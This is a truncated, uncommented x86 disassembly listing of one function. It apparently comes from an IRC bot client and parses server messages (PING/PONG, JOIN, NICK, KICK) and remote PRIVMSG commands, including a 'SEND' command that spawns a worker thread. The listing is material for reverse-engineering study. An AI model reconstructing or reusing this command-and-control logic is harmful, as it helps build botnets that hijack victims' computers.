var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C190
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	sub_41BC00
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BC60
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F20
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BC00
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_428C]
		push	offset asc_42F5EC ; " :"
		push	eax
		call	sub_41BF70
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BC60
		mov	esi, offset asc_42F5E8 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41C764
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_90], eax
		inc	edi


loc_401B67:				; CODE XREF: sub_401AA1+DAj
		push	esi
		push	ebx
		call	sub_41C764
		mov	[ebp+edi*4+var_90], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_401B67
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F20
		cmp	[ebp+var_8C], ebx
		jz	loc_401F20
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401BAF:				; CODE XREF: sub_401AA1+142j
		lea	ecx, [ebp+edx*4+var_90]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401BE2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401BE5
		cmp	[eax+2], bl
		jnz	short loc_401BE5
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401BE2:				; CODE XREF: sub_401AA1+119j
		dec	edx
		jns	short loc_401BAF


loc_401BE5:				; CODE XREF: sub_401AA1+11Ej
					; sub_401AA1+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_8ED], bl
		jz	short loc_401BF3
		mov	[ebp+var_8], edi


loc_401BF3:				; CODE XREF: sub_401AA1+14Dj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C01
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C01:				; CODE XREF: sub_401AA1+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C3B
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BC60
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_C0]
		push	offset asc_42F5E4 ; "!"
		push	eax
		call	sub_41C764
		add	esp, 20h


loc_401C3B:				; CODE XREF: sub_401AA1+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401C8C
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D30
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		add	esp, 10h
		jmp	loc_401D30
; ---------------------------------------------------------------------------


loc_401C8C:				; CODE XREF: sub_401AA1+1A9j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096B7
		push	esi
		push	offset a005	; "005"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096B7
		push	esi
		push	offset a302	; "302"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CF7
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D30
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BC60
		add	esp, 0Ch
		jmp	short loc_401D30
; ---------------------------------------------------------------------------


loc_401CF7:				; CODE XREF: sub_401AA1+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D37
		push	ebx
		push	dword_42A98C
		push	dword_42A988
		push	[ebp+arg_10]
		call	sub_40AD20
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		add	esp, 1Ch


loc_401D30:				; CODE XREF: sub_401AA1+1CAj
					; sub_401AA1+1E6j ...
		mov	eax, edi
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_401D37:				; CODE XREF: sub_401AA1+265j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h


loc_401D49:				; CODE XREF: sub_401AA1+2CDj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D66
		mov	[ebp+var_A8], 1


loc_401D66:				; CODE XREF: sub_401AA1+2B9j
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401D49
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E4F
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401D95:				; CODE XREF: sub_401AA1+373j
		cmp	[esi], bl
		jz	short loc_401E0F
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		cmp	[ebp+var_84], ebx
		jz	short loc_401E0F
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E0F
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F550
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		add	esp, 20h


loc_401E0F:				; CODE XREF: sub_401AA1+2F6j
					; sub_401AA1+310j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401D95
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E42:				; CODE XREF: sub_401AA1+5CDj
					; sub_401AA1+880j ...
		push	[ebp+arg_4]
		call	sub_4096FD
		jmp	loc_4041F5
; ---------------------------------------------------------------------------


loc_401E4F:				; CODE XREF: sub_401AA1+2E4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F88
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401E78:				; CODE XREF: sub_401AA1+429j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EC5
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C620
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401EC5
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C520
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C530
		add	esp, 10h
		mov	edi, 80h


loc_401EC5:				; CODE XREF: sub_401AA1+3E8j
					; sub_401AA1+3FFj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401E78
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F20
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EF8
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BC60
		jmp	loc_403630
; ---------------------------------------------------------------------------


loc_401EF8:				; CODE XREF: sub_401AA1+443j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401EFD:				; CODE XREF: sub_401AA1+47Dj
		cmp	[edi], bl
		jz	short loc_401F14
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F28


loc_401F14:				; CODE XREF: sub_401AA1+45Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401EFD


loc_401F20:				; CODE XREF: sub_401AA1+5Bj
					; sub_401AA1+E4j ...
		xor	eax, eax
		inc	eax


loc_401F23:				; CODE XREF: sub_401AA1+291j
					; sub_401AA1+2A14j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F28:				; CODE XREF: sub_401AA1+471j
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C620
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F20
		push	eax
		call	sub_41B650
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B650
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F20
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 24h
		jmp	short loc_401F20
; ---------------------------------------------------------------------------


loc_401F88:				; CODE XREF: sub_401AA1+3BDj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FAA
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401FD1


loc_401FAA:				; CODE XREF: sub_401AA1+4F6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401FAF:				; CODE XREF: sub_401AA1+52Ej
		cmp	[edi], bl
		jz	short loc_401FC5
		push	[ebp+var_90]
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402012


loc_401FC5:				; CODE XREF: sub_401AA1+510j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401FAF


loc_401FD1:				; CODE XREF: sub_401AA1+507j
		push	[ebp+var_8C]
		push	offset dword_42F518
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402073
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402005
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402005:				; CODE XREF: sub_401AA1+559j
		push	[ebp+var_80]
		push	offset dword_42F4D8
		jmp	loc_4096AB
; ---------------------------------------------------------------------------


loc_402012:				; CODE XREF: sub_401AA1+522j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F550
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C6E0
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F20
		lea	eax, [ebp+var_2C0]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_402073:				; CODE XREF: sub_401AA1+544j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C6E0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_4020C7
		push	[ebp+var_8C]
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C7
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409567
		cmp	dword_42A974, ebx
		jz	loc_409567


loc_4020C7:				; CODE XREF: sub_401AA1+5ECj
					; sub_401AA1+5FEj
		push	[ebp+var_8C]
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40223A
		push	[ebp+var_8C]
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40223A
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+var_88], eax


loc_40210C:				; CODE XREF: sub_401AA1+858j
					; sub_401AA1+894j ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_90]
		mov	eax, [edi]
		push	eax
		push	offset dword_42F4BC
		mov	[ebp+arg_8], eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4024D6
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4023A1
		cmp	[ebp+var_A8], ebx
		jz	loc_402377
		push	[ebp+esi+var_88]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41BEF6
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_1B98]
		push	edi
		push	eax
		call	sub_41BEF6
		push	[ebp+esi+var_80]
		call	sub_41BDE9
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F480
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40B254
		add	esp, 44h
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset sub_416770
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jz	loc_4090C0
		jmp	loc_40236D
; ---------------------------------------------------------------------------


loc_40223A:				; CODE XREF: sub_401AA1+636j
